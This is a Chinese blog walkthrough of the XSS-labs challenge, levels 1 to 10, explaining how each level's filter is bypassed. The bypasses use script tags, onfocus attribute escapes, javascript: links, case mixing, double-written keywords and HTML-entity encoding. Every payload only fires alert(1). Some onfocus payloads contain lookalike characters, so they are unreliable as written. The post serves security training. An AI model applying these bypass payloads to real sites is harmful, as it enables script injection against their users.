当前位置: 首页 > news >正文

XSS挑战赛(xsslabs)1~10关通关解析

简介

XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。

挑战开始

Level1

通关过程

在这里插入图片描述
第一关总的来说,比较简单,直接先尝试:
在这里插入图片描述

payload

<script>alert(1)</script>

Level2

通关过程

直接尝试payload:
在这里插入图片描述
查看源码:
在这里插入图片描述
想办法去逃逸输入框:
在这里插入图片描述
在这里插入图片描述

payload

a"><script>alert(1)</script>

Level3

通关过程

直接尝试:
在这里插入图片描述
发现没有弹窗,审核源码:
在这里插入图片描述
到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
这个单引号就是为了闭合value的单引号。
在这里插入图片描述

paylaod

' οnfοcus='alert(1)

Level4

通关过程

直接尝试:
在这里插入图片描述
分析源码:感觉和第三关思路一致
在这里插入图片描述
尝试: " οnfοcus="alert(1)
在这里插入图片描述

payload

" οnfοcus="alert(1)

Level5

通关过程

直接尝试:
在这里插入图片描述
意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
在这里插入图片描述
考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
在这里插入图片描述
看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
">jack
在这里插入图片描述
点击通关:
在这里插入图片描述

payoad

"><a href="javascript:alert(1)">jack</a>

Level6

通关过程

直接尝试:
在这里插入图片描述
直接尝试:">jack

在这里插入图片描述
在这里插入图片描述
尝试大小写绕过:">jack
在这里插入图片描述
在这里插入图片描述

payload

"><a HrEf="javascript:alert(1)">jack</a>

Level7

通关过程

直接尝试:
在这里插入图片描述
双写?alert(1)
在这里插入图片描述在这里插入图片描述
尝试:">alert(1)

在这里插入图片描述

payload

"><scrscriptipt>alert(1)</scscriptript>

Level8

通关过程

直接尝试:
在这里插入图片描述
看源码:
在这里插入图片描述
那么伪协议?
javascript:alert(1)
在这里插入图片描述
这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
在这里插入图片描述
所以直接尝试:
在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Level9

通关过程

直接尝试:
在这里插入图片描述
需要一个合法链接?
那么输入:javascript:alert(1);//http://www.baidu.com
在这里插入图片描述
还是被处理了,那么用和8关相同的编码试试:
javascript:alert(1)//http://www.baidu.com

在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

Level10

通关过程

直接尝试:
在这里插入图片描述
看来被实体化了。看源码:
在这里插入图片描述
尝试着传递这几个隐藏域的值:
在这里插入图片描述
构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
在这里插入图片描述
继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
在这里插入图片描述

payload

&t_sort=a" οnfοcus="alert(1)" type="text

相关文章:

XSS挑战赛(xsslabs)1~10关通关解析

简介 XSS挑战赛&#xff0c;里面包含了各种XSS的防御方式和绕过方式&#xff0c;好好掌握里面的绕过细节&#xff0c;有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节&#xff0c;不是一个标准的答案&#xff0c;希望大家在渗透的时候有更多的思维。…...

什么是以太网供电POE

POE指的是以太网供电&#xff0c;就是一根网线在传输网络的同时还传输设备所需的电源。我们最常见的就是通过POE交换机连接网络摄像头&#xff0c;网络摄像头无需的电源适配器&#xff0c;仅靠一根网线就能实现电源和网络的传输。POE供电一般可以到100米。POE包含两个部分&…...

【JUC2022】第七章 AQS、ReentrantReadWriteLock 和 StampedLock

【JUC2022】第七章 AQS 文章目录【JUC2022】第七章 AQS一、AQS1.概述2.同步器3.抽象的4.队列式二、ReentrantReadWriteLock1.概述2.案例3.存在的问题三、StampedLock1.概述2.案例3.存在的问题一、AQS 1.概述 AQS(AbstractQueueSynchronizer&#xff0c;抽象的队列式同步器)&am…...

Spark 磁盘作用

Spark 磁盘作用磁盘作用性能价值失败重试ReuseExchangeSpark 导航 磁盘作用 临时文件、中间文件、缓存数据&#xff0c;都会存储到 spark.local.dir 中 在 Shuffle Map 时&#xff0c; 当内存空间不足&#xff0c;就会溢出临时文件存储到磁盘上溢出的临时文件一起做归并计算…...

三、Spark 内存管理

文章目录Spark 内存管理堆内和堆外内存堆内内存堆外内存堆外与堆内的平衡内存空间分配静态内存管理&#xff08;早期版本&#xff09;统一内存管理Spark 内存管理 堆内和堆外内存 Spark 引入了堆外&#xff08;Off-heap&#xff09;内存&#xff0c;使之可以直接在工作节点的…...

Java 面试常见项目问题回答

之前整理了好几期&#xff0c;我面试时遇到的面试候选人&#xff0c;我是如何我去筛选的&#xff0c;这一期&#xff0c;我们来看下一些 面试常问的业务性的问题 你们公司权限认证是如何实现的? 这其实是个通用性的问题&#xff0c;大部分公司 小型公司&#xff0c;或者中型公…...

文件上传和下载(原生JS + SpringBoot实现)

目录 概述 前端编写-上传表单和图片回显 HTML表单代码 发送请求逻辑 CSS代码 后端编写-文件上传接口 后端编写-文件下载接口 概述 在现代Web应用程序中&#xff0c;文件上传和下载是常见的功能。本博客将介绍如何使用原生JS和Spring Boot实现文件上传和下载的功能。 在其…...

【C语言学习笔记】:安全性

用const修饰变量或方法&#xff0c;从而告诉编译器这些都是不可变的&#xff0c;有助于编译器优化代码&#xff0c;并帮助开发人员了解函数是否有副作用。此外&#xff0c;使用const &可以防止编译器复制不必要的数据。John Carmack对const的评论[2]值得一读。 // Bad Ide…...

Linux - 磁盘存储管理 磁盘引入

# 我们要介绍下 磁盘管理&#xff0c; 那不妨先来看一张图来简单 引入 &#xff1a;这张图呢&#xff0c;是我们 Windows 上的磁盘管理的显示 。根据这幅图呢&#xff0c;提出一个问题 &#xff1a;>>> 这幅图磁盘管理所显示的内容&#xff0c;你能判断出 该电脑 有几…...

分割std::string成多个string

文章目录问题描述前置知识解决代码问题描述 假设我们有一个http服务器&#xff0c;此服务器接收客户端发来的http请求&#xff0c;假设请求如下 GET / HTTP/1.1我们怎么将这个Http请求分割成三份&#xff0c;分别存入不同的string中分别处理? 前置知识 首先std::string的本…...

3月多国更新进出口产品规定

【3月多国更新进出口产品规定】2023年3月多项外贸新规实施&#xff0c;涉及欧盟&#xff0c;伊拉克&#xff0c;泰国&#xff0c;孟加拉国&#xff0c;埃及等多国进出口产品限制及海关税则。1. 3月1日起给予埃塞俄比亚等三国98%税目产品零关税待遇中国国务院关税税则委员会17日…...

nacos相关面试题

Nacos是阿里巴巴开源的一款注册中心和配置中心&#xff0c;它能够实现服务的注册、发现和配置管理等功能。Nacos的实现原理主要分为以下几个部分&#xff1a;注册中心&#xff1a;Nacos作为注册中心&#xff0c;通过提供RESTful API的方式对外提供注册和发现服务。它使用基于Ra…...

Linux基础命令-groupmems管理组群的成员

Linux-usermod修改用户 Linux-useradd创建用户 Linux-userdel删除用户 Linux基础命令-chown修改文件属主 Linux基础命令-chmod修改文件权限 groupmems 命令介绍 先来看看这个命令的帮助信息是什么概念 NAME groupmems - administer members of a user’s primary group group…...

css系统化学习

元素的语义化 SEO:搜索引擎优化 根据搜索引擎展示的规律,语义化的元素更容易被展示获得更多浏览量 字符编码 css历史 内联样式(inline) style"内容全写在等号后面,双引号里面,多个之间用;隔开" 内部样式(internal) style写在head里面,在title下面,不是在body内, …...

AI的简单介绍

什么是AI&#xff1f; AI 是 Artificial Intelligent 的缩写&#xff0c;是我们通常意义上说的人工智能。 简单来说就是让机器能够模拟人类的思维能力&#xff0c;让它能够像人一样感知、思考甚至决策。 为什么要开发AI&#xff1f; 因为在过去&#xff0c;都是我们学习机器…...

【Linux】-- 进程间通讯

目录 进程间通讯概念的引入 意义&#xff08;手段&#xff09; 思维构建 进程间通信方式 管道 站在用户角度-浅度理解管道 匿名管道 pipe函数 站在文件描述符角度-深度理解管道 管道的特点总结 管道的拓展 单机版的负载均衡 匿名管道读写规则 命名管道 前言 原理…...

STM32模拟SPI时序控制双路16位数模转换(16bit DAC)芯片DAC8552电压输出

STM32模拟SPI时序控制双路16位数模转换&#xff08;16bit DAC&#xff09;芯片DAC8552电压输出 STM32部分芯片具有12位DAC输出能力&#xff0c;要实现16位及以上DAC输出需要外挂DAC转换ASIC。 DAC8552是双路16位DAC输出芯片&#xff0c;通过SPI三线总线进行配置控制输出。这里…...

基于intel x86+fpga智能驾驶舱和高级驾驶辅助系统硬件设计(二)

系统功能架构及各模块功能介绍 智能驾驶舱和高级驾驶辅助系统是一个车载智能终端嵌入式平台&#xff0c;系统是一个能够运行 虚拟化操作系统的软件和硬件的综合体。本文的车载主机包括硬件主控处理器、电源管理芯 片、存储设备、输入输出控制器、数字仪表系统系统、后座娱乐系统…...

oneblog_justauth_三方登录配置【Github】

文章目录oneblog添加第三方平台github中创建三方应用完善信息登录oneblog添加第三方平台 1.oneblog管理端&#xff0c;点击左侧菜单 网站管理——>社会化登录配置管理 ,添加一个社会化登录 2.编辑信息如下&#xff0c;选择github平台后复制redirectUri,然后去github获取cl…...

自行车轮胎充气泵PCBA方案

轮胎充气泵PCBA方案由多种元器件设计组合而成&#xff0c;PCBA是英文Printed Circuit Board Assembly 的简称&#xff0c;也就是说PCB空板经过SMT上件&#xff0c;或经过DIP插件的整个制程&#xff0c;简称PCBA。PCBA是一个电子产品功能实现的最原始的状态&#xff0c;未经过任…...

Java 25记录模式深度实战:手把手带你用模式匹配解构嵌套记录,效率提升47%(JVM实测数据)

第一章&#xff1a;Java 25记录模式的演进脉络与核心突破记录模式&#xff08;Record Patterns&#xff09;作为 Java 21 首次以预览特性引入、并在 Java 22 进一步增强、最终于 Java 25 正式成为标准特性的关键语言机制&#xff0c;标志着 Java 在模式匹配演进道路上完成从“解…...

如何借助内网穿透工具实现WinSCP跨系统远程文件管理的稳定连接

1. 为什么需要内网穿透实现WinSCP远程文件管理 作为开发者或运维人员&#xff0c;我经常需要在Windows和Linux服务器之间传输文件。最初我尝试用U盘或网盘中转&#xff0c;但效率太低&#xff1b;后来改用WinSCP直连局域网&#xff0c;又遇到跨地域办公的难题。直到发现内网穿透…...

CayenneMQTT库详解:嵌入式设备快速接入MQTT平台

1. CayenneMQTT 库概述 CayenneMQTT 是一个专为物联网设备设计的轻量级 MQTT 客户端库&#xff0c;核心目标是将嵌入式终端&#xff08;如 Arduino、ESP8266、ESP32&#xff09;快速、可靠地接入 Cayenne IoT 平台 的可视化仪表盘。该库并非从零实现 MQTT 协议栈&#xff0c…...

springboot+vue基于web的针对老年人的景区订票系统的设计与实现

目录系统功能模块划分关键技术实现特殊考量因素项目技术支持源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作系统功能模块划分 用户端功能&#xff08;老年人友好设计&#xff09; 注册登录&#xff1a;支持手机号验证、子女代注册、大字体…...

COMSOL报错别慌!像程序员一样‘调试’你的多物理场模型(附分步屏蔽法)

COMSOL报错别慌&#xff01;像程序员一样‘调试’你的多物理场模型 面对COMSOL多物理场耦合模型报错时&#xff0c;许多工程师会陷入"哪里出错—如何修复"的循环焦虑。实际上&#xff0c;这类问题最有效的解决方式不是盲目修改参数&#xff0c;而是建立系统化的调试思…...

一文搞懂 Spring Cloud:从入门到实战的微服务全景指南(建议收藏)

如果你正在做后端开发&#xff0c;或者正在准备找实习/秋招&#xff0c;那你一定绕不开一个关键词&#xff1a;微服务。 而在 Java 技术栈中&#xff0c;微服务的“标配方案”&#xff0c;就是今天的主角——Spring Cloud。 很多同学第一次接触 Spring Cloud 时&#xff0c;都…...

别再纠结硬件滚动了!用Arduino+SSD1306库实现超长文本的软件滚动显示(附完整代码)

ArduinoSSD1306实现超长文本流畅滚动的终极方案 当你在创客项目中需要显示超出屏幕宽度的日志数据或长消息时&#xff0c;硬件滚动的局限性就会暴露无遗。我曾在一个环境监测项目中遇到这个问题——传感器数据经常超过OLED屏幕的16字符显示限制&#xff0c;硬件滚动方案直接截断…...

51单片机实战:UART串口通信与数据交互优化

1. UART串口通信基础与51单片机实战价值 我第一次用51单片机做UART通信时&#xff0c;连波特率是什么都搞不清楚&#xff0c;结果电脑发过来的数据全是乱码。后来才发现是单片机定时器初值算错了&#xff0c;这个经历让我深刻理解到串口通信基础的重要性。 串口通信就像两个人用…...

G-Helper:华硕笔记本轻量化控制工具全面解析与实战指南

G-Helper&#xff1a;华硕笔记本轻量化控制工具全面解析与实战指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地…...

MogFace人脸检测模型Java后端服务实战:SpringBoot集成与高并发优化

MogFace人脸检测模型Java后端服务实战&#xff1a;SpringBoot集成与高并发优化 最近在做一个智能门禁系统的项目&#xff0c;需要用到人脸检测功能。选型的时候&#xff0c;MogFace模型以其高精度和不错的速度进入了我们的视线。但问题来了&#xff0c;怎么把这个用Python写的…...